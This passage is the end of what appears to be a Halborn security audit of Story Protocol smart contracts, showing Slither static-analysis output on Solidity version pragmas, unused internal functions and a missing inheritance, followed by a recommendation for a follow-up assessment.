                -0.8.26 (contracts/interfaces/story-nft/IOrgNFT.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IOrgStoryNFT.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IOrgStoryNFTFactory.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IStoryBadgeNFT.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IStoryNFT.sol#2)
                -0.8.26 (contracts/interfaces/workflows/IDerivativeWorkflows.sol#2)
                -0.8.26 (contracts/interfaces/workflows/IGroupingWorkflows.sol#2)
                -0.8.26 (contracts/interfaces/workflows/ILicensesAttachmentWorkflows.sol#2)
                -0.8.26 (contracts/interfaces/workflows/IRegistrationWorkflows.sol#2)
                -0.8.26 (contracts/interfaces/workflows/IRoyaltyTokenDistributionWorkflows.sol#2)
                -0.8.26 (contracts/interfaces/workflows/IRoyaltyWorkflows.sol#2)
                -0.8.26 (contracts/lib/Errors.sol#2)
                -0.8.26 (contracts/lib/LicensingHelper.sol#2)
                -0.8.26 (contracts/lib/MetadataHelper.sol#2)
                -0.8.26 (contracts/lib/PermissionHelper.sol#2)
                -0.8.26 (contracts/lib/SPGNFTLib.sol#2)
                -0.8.26 (contracts/lib/WorkflowStructs.sol#2)
                -0.8.26 (contracts/modules/tokenizer/OwnableERC20.sol#2)
                -0.8.26 (contracts/modules/tokenizer/TokenizerModule.sol#2)
                -0.8.26 (contracts/story-nft/BaseOrgStoryNFT.sol#2)
                -0.8.26 (contracts/story-nft/BaseStoryNFT.sol#2)
                -0.8.26 (contracts/story-nft/OrgNFT.sol#2)
                -0.8.26 (contracts/story-nft/OrgStoryNFTFactory.sol#2)
                -0.8.26 (contracts/story-nft/StoryBadgeNFT.sol#2)
                -0.8.26 (contracts/workflows/DerivativeWorkflows.sol#2)
                -0.8.26 (contracts/workflows/GroupingWorkflows.sol#2)
                -0.8.26 (contracts/workflows/LicensesAttachmentWorkflows.sol#2)
                -0.8.26 (contracts/workflows/RegistrationWorkflows.sol#2)
                -0.8.26 (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#2)
                -0.8.26 (contracts/workflows/RoyaltyWorkflows.sol#2)



        - Version constraint ^0.8.26 is used by:
                -^0.8.26 (contracts/story-nft/CachableNFT.sol#2)
```

```
INFO:Detectors:
AccessControlUpgradeable.__AccessControl_init() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#82-83) is never used and should be removed
AccessControlUpgradeable.__AccessControl_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#85-86) is never used and should be removed
AccessControlUpgradeable._setRoleAdmin(bytes32,bytes32) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#191-196) is never used and should be removed
AccessControlled._hasPermission(address) (node_modules/@story-protocol/protocol-core/contracts/access/AccessControlled.sol#75-89) is never used and should be removed
BaseStoryNFT._baseURI() (contracts/story-nft/BaseStoryNFT.sol#174-176) is never used and should be removed
BaseStoryNFT._mintAndRegisterIp(address) (contracts/story-nft/BaseStoryNFT.sol#85-87) is never used and should be removed
Context._contextSuffixLength() (node_modules/@openzeppelin/contracts/utils/Context.sol#25-27) is never used and should be removed
Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#21-23) is never used and should be removed
ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._contextSuffixLength() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#31-33) is never used and should be removed
ERC165Upgradeable.__ERC165_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#22-23) is never used and should be removed
ERC165Upgradeable.__ERC165_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#25-26) is never used and should be removed
ERC20Upgradeable._burn(address,uint256) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol#260-265) is never used and should be removed
ERC721URIStorageUpgradeable.__ERC721URIStorage_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol#40-41) is never used and should be removed
ERC721Upgradeable._burn(uint256) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#356-361) is never used and should be removed
ERC721Upgradeable._increaseBalance(address,uint128) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#250-255) is never used and should be removed
GroupingWorkflows._attachLicensesAndGetConfigs(address,WorkflowStructs.LicenseData[]) (contracts/workflows/GroupingWorkflows.sol#303-313) is never used and should be removed
Initializable._getInitializedVersion() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#208-210) is never used and should be removed
MulticallUpgradeable.__Multicall_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol#23-24) is never used and should be removed
MulticallUpgradeable.__Multicall_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol#26-27) is never used and should be removed
ReentrancyGuardUpgradeable.__ReentrancyGuard_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol#60-62) is never used and should be removed
ReentrancyGuardUpgradeable.__ReentrancyGuard_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol#64-67) is never used and should be removed
ReentrancyGuardUpgradeable._reentrancyGuardEntered() (node_modules/@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol#184-187) is never used and should be removed
RoyaltyModule._addToAccumulatedRoyaltyPolicies(address,address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#597-599) is never used and should be removed
RoyaltyModule._calculateGlobalRoyaltyStack(address,address[],address[],uint32[],bytes) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#494-519) is never used and should be removed
RoyaltyModule._deployIpRoyaltyVault(address,address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#475-486) is never used and should be removed
RoyaltyModule._distributeRoyaltyTokensToPolicies(address,address[],address[],uint32[],address,uint32) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#520-591) is never used and should be removed
RoyaltyModule._payToReceiverVault(address,address,address,uint256) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#688-694) is never used and should be removed
RoyaltyModule._payToWhitelistedRoyaltyPolicies(address,address,address,uint256) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#668-681) is never used and should be removed
RoyaltyModule._transferRoyaltyTokensToPolicy(address,address,uint32,address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#607-616) is never used and should be removed
RoyaltyTokenDistributionWorkflows._validateRoyaltyShares(address,address,WorkflowStructs.RoyaltyShare[]) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#403-420) is never used and should be removed
StoryBadgeNFT._baseURI() (contracts/story-nft/StoryBadgeNFT.sol#156-158) is never used and should be removed
UUPSUpgradeable.__UUPSUpgradeable_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#68-69) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code


INFO:Detectors:
OwnableERC20 (contracts/modules/tokenizer/OwnableERC20.sol#14-79) should inherit from IModule (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/base/IModule.sol#7-10)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-inheritance
```

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.